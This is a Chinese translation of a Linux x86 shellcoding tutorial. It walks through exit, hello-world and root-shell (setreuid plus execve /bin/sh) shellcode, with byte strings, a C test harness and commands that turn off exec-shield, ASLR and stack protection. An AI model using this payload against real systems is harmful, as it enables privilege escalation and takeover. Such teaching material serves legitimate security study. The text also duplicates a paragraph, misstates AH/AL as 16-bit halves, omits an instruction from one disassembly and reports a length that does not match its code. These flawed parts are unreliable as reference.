翻译自:http://www.vividmachines.com/shellcode/shellcode.html
1. 什么是Shellcoding.
在计算机安全领域,shellcoding字面意思是编写可以返回远程shell的代码。如今shellcode的含义已经扩展了,现在指一切可以被插入到漏洞利用(Exploit)中执行特定功能的字节码。2. 网络有成千上万shellcode,为什么我要自己写?
是的,你说的没错,网上确实有很多现成的资源。Metasploit 似乎提供的是最好的。写Exploit非常困难。但如果所有资源都无法使用,怎么办。还得需要自己写。幸运的是,这篇教程可以提供入门教程。
3. 我需要有什么基础
有x86汇编、C语言基础,会使用Linux操作系统。
4. windows shellcode和linux shellcode有什么不同
Linux提供了一个通过int 0×80接口来与内核直接相结合的方法.可以在http://www.informatik.htw-dresden.de/~beck/ASM/syscall_list.html中找到完整的linux系统调用表或在系统中查看:cat /usr/include/i386-linux-gnu/asm/unistd_32.h。
windows没有一个直接的内核接口。系统必须通过加载函数地址来相结合,它需要从一个动态链接库中被执行。
两种系统的关键不同点事实上在于windows中的函数地址在一个系统版本和另一个系统版本中的变化,因为int 0×80系统调用号是恒定的。
Windows程序员这样做以致于他们可以不会为了任何内核需要的改变而争论。
Linux相反,已经固定了所有内核级函数的计算系统,并且如果他们要改变,将会激怒无数程序员,导致大量代码运行出错。
5. shellcode为什么不能有空字节,普通程序可以有很多空字节。
shellcode不是普通的程序。shencode一般是作为字符串插入到其他程序中,而字符串以null作为结束标志。如果shellcode有空字符,就无法执行全部的shellcode,导致错误。
6. 为什么我写的shellcode直接运行会崩溃。
大多数保护shellcode的代码都有类似的自我修改功能。我们运行的操作系统处于保护模式。可执行程序的代码段是只读的。所以我们需要将shellcode程序复制到主程序的堆栈段才能运行。
7. 为什么我的代码仍然出现段错误(segment fault)?
可能你的操作系统的栈段地址是随机分配的,或采取了保护机制防止你在栈段执行代码。各个Linux系统出现的问题不一样,下面是Fedora的解决方案:
echo 0 > /proc/sys/kernel/exec-shield #turn it off
echo 0 > /proc/sys/kernel/randomize_va_space #turn it off
echo 1 > /proc/sys/kernel/exec-shield #turn it on
echo 1 > /proc/sys/kernel/randomize_va_space #turn it on
编写环境:
1. 基于x86系统,使用32位通用寄存器:eax,ebx,ecx,edx
2. AH,BH,CH,DH使用通用寄存器的高16位
3. AL,BL,CL,DL使用通用寄存器的低16位
4. ESI和EDI用于Linux syscalls
5. syscalls最多使用6个参数,用通用寄存器传递
6. xor eax,eax是将寄存器清零的最好方法(会避免邪恶的NULL字节)
工具:
gcc
nasm
ld
objdump
可选工具:
odfhex.c: 借助("objdump -d")将shellcode转换为十六进制字符串
使用的另外一个工具提取:
objdump -d ./<strong><span style="color:#ff0000;">exiter</span></strong>|grep '[0-9a-f]:'|grep -v 'file'|cut -f2 -d:|cut -f1-6 -d' '|tr -s ' '|tr '\t' ' '|sed 's/ $//g'|sed 's/ /\\x/g'|paste -d '' -s |sed 's/^/"/'|sed 's/$/"/g'
shellcodetest.c: 测试shellcode的代码
正文:
Linux Shellcoding
测试shellcode的最好方法是将其插入到程序中运行。测试代码如下:
/*shellcodetest.c*/
//源代码有问题,这是修改后的
#include<stdio.h>
#include<string.h>
unsigned char code[]="your shell code";
main()
{
printf("Shellcode Length: %d\n",strlen(code));
int (*ret)()=(int(*)())code;
ret();
}
例1: 退出功能的shellcode-先学会逃跑
下面是最简单的shellcode,调用exit syscall,实现退出功能。注意:清零使用xor eax,eax,而不是mov eax,0,一方面效率高,最重要的是避免null字符。
;exit.asm
[SECTION .text]
global _start
_start:
xor eax, eax ;exit()函数 编号为1
mov al, 1 ;exit is syscall 1
xor ebx,ebx ;返回值为0
int 0x80
下面是编译提取字节码的步骤:
steve hanna@1337b0x:~$ nasm -f elf exit.asm
steve hanna@1337b0x:~$ ld -o exiter exit.o
steve hanna@1337b0x:~$ objdump -d exiter
exiter: file format elf32-i386
Disassembly of section .text:
08048080 <_start>:
8048080: b0 01 mov $0x1,%al
8048082: 31 db xor %ebx,%ebx
8048084: cd 80 int $0x80
提取十六进制字符串:
objdump -d ./exiter|grep '[0-9a-f]:'|grep -v 'file'|cut -f2 -d:|cut -f1-6 -d' '|tr -s ' '|tr '\t' ' '|sed 's/ $//g'|sed 's/ /\\x/g'|paste -d '' -s |sed 's/^/"/'|sed 's/$/"/g'
修改shellcodetest.c中的code: code[]="\xb0\x01\x31\xdb\xcd\x80";
编译: gcc -fno-stack-protector -z execstack shellcode.c -o shellcode
运行: ./shellcode。
Shellcode Length: 8
现在,我们编写了第一个shellcode。你可以跟踪调试,确保它正确运行。
例2: Hello World Shellcoding-获取字符串地址
接下来的例子,我们实现点有用的功能:如何使代码在运行期间加载字符串的地址。这是非常重要的,因为shellcode运行在不确定的环境中,字符串的地址是未知的,因为shellcode不是运行在正常的栈段。下面是汇编代码:
;hello.asm
[SECTION .text]
global _start
_start:
jmp short ender
starter:
xor eax, eax ;寄存器清零
xor ebx, ebx
xor edx, edx
xor ecx, ecx
mov al, 4 ;调用write()函数
mov bl, 1 ;stdout 的文件描述符为1
pop ecx ;巧妙利用call指令,从栈顶获取字符串地址
mov dl, 5 ;字符串长度
int 0x80
xor eax, eax
mov al, 1 ;调用exit(),退出shellcode,返回值为0
xor ebx,ebx
int 0x80
ender:
call starter ;call会将字符串地址压入栈,再跳转到starter,call=push jmp
db 'hello
编译提取shellcode的十六进制代码:(参照例1步骤)
steve hanna@1337b0x:~$ nasm -f elf hello.asm
steve hanna@1337b0x:~$ ld -o hello hello.o
steve hanna@1337b0x:~$ objdump -d hello
hello: file format elf32-i386
Disassembly of section .text:
08048080 <_start>:
8048080: eb 19 jmp 804809b
08048082 <starter>:
8048082: 31 c0 xor %eax,%eax
8048084: 31 db xor %ebx,%ebx
8048086: 31 d2 xor %edx,%edx
8048088: 31 c9 xor %ecx,%ecx
804808a: b0 04 mov $0x4,%al
804808c: b3 01 mov $0x1,%bl
804808e: 59 pop %ecx
804808f: b2 05 mov $0x5,%dl
8048091: cd 80 int $0x80
8048093: 31 c0 xor %eax,%eax
8048095: b0 01 mov $0x1,%al
8048097: 31 db xor %ebx,%ebx
8048099: cd 80 int $0x80
0804809b <ender>:
804809b: e8 e2 ff ff ff call 8048082
80480a0: 68 65 6c 6c 6f push $0x6f6c6c65
在shellcodetest中,修改code[]:
char code[] = "\xeb\x19\x31\xc0\x31\xdb\x31\xd2\x31\xc9\xb0\x04\xb3\x01\x59\xb2\x05\xcd"\
"\x80\x31\xc0\xb0\x01\x31\xdb\xcd\x80\xe8\xe2\xff\xff\xff\x68\x65\x6c\x6c\x6f";
现在编译运行shellcodetest.c,会获取字符串地址,调用stdout输出字符,并推出返回值为0。
下面一个例子,我们将编写一个获取shell的shellcode.
例3: 获取shell
这个例子综合运用了我们前面所学的知识,它尝试获取root权限如果被降权,并获得一个shell
我们所使用的系统函数:
execve (const char *filename, const char** argv, const char** envp);
第二个和第三个是指针的指针。所以我将"/bin/sh"的地址放在数据内存中,然后把地址的地址传递给函数。指针最终所指示的就是“/bin/sh"字符串。
下面是shellcode的汇编代码:
我们所使用的系统函数:
execve (const char *filename, const char** argv, const char** envp);
第二个和第三个是指针的指针。所以我将"/bin/sh"的地址放在数据内存中,然后把地址的地址传递给函数。指针最终所指示的就是“/bin/sh"字符串。
下面是shellcode的汇编代码:
;shellex.asm
[SECTION .text]
global _start
_start:
xor eax, eax
mov al, 70 ;setreuid is syscall 70
xor ebx, ebx
xor ecx, ecx
int 0x80
jmp short ender
starter:
pop ebx ;弹出栈顶的字符串地址,付给ebx
xor eax, eax
mov [ebx+7 ], al ;put a NULL where the N is in the string
mov [ebx+8 ], ebx ;将AAAA字符替换为字符串的地址
mov [ebx+12], eax ;将BBBB字符替换为null
mov al, 11 ;execve 系统编号位 11
lea ecx, [ebx+8] ;字符串地址
lea edx, [ebx+12] ;传递空字符地址
int 0x80 ;调用execve,获取到shell!
ender:
call starter
db '/bin/shNAAAABBBB'
编译提取shellcode的十六进制字符串:
steve hanna@1337b0x:~$ nasm -f elf shellex.asm
steve hanna@1337b0x:~$ ld -o shellex shellex.o
steve hanna@1337b0x:~$ objdump -d shellex
shellex: file format elf32-i386
Disassembly of section .text:
08048080 <_start>:
8048080: 31 c0 xor %eax,%eax
8048082: b0 46 mov $0x46,%al
8048084: 31 db xor %ebx,%ebx
8048086: 31 c9 xor %ecx,%ecx
8048088: cd 80 int $0x80
804808a: eb 16 jmp 80480a2
0804808c :
804808c: 5b pop %ebx
804808d: 31 c0 xor %eax,%eax
804808f: 88 43 07 mov %al,0x7(%ebx)
8048092: 89 5b 08 mov %ebx,0x8(%ebx)
8048095: 89 43 0c mov %eax,0xc(%ebx)
8048098: b0 0b mov $0xb,%al
804809a: 8d 4b 08 lea 0x8(%ebx),%ecx
804809d: 8d 53 0c lea 0xc(%ebx),%edx
80480a0: cd 80 int $0x80
080480a2 :
80480a2: e8 e5 ff ff ff call 804808c
80480a7: 2f das
80480a8: 62 69 6e bound %ebp,0x6e(%ecx)
80480ab: 2f das
80480ac: 73 68 jae 8048116
80480ae: 58 pop %eax
80480af: 41 inc %ecx
80480b0: 41 inc %ecx
80480b1: 41 inc %ecx
80480b2: 41 inc %ecx
80480b3: 42 inc %edx
80480b4: 42 inc %edx
80480b5: 42 inc %edx
80480b6: 42 inc %edx
在shellcodetest.c中修改code[]:
char code[] = "\x31\xc0\xb0\x46\x31\xdb\x31\xc9\xcd\x80\xeb"\
"\x16\x5b\x31\xc0\x88\x43\x07\x89\x5b\x08\x89"\
"\x43\x0c\xb0\x0b\x8d\x4b\x08\x8d\x53\x0c\xcd"\
"\x80\xe8\xe5\xff\xff\xff\x2f\x62\x69\x6e\x2f"\
"\x73\x68\x58\x41\x41\x41\x41\x42\x42\x42\x42";
这段代码被插入到exploit中运行会获取一个shell,展示了写一个成功的shellcode所必需的步骤.但是要知道,一个人越擅长汇编,它就
能编写出更强大,更稳定也是更邪恶的代码。shellcode往往需要加密,最好有多态功能,这需要你有更好的汇编能力。
即将推出Linux汇编语言与Shellcoding课程,敬请关注!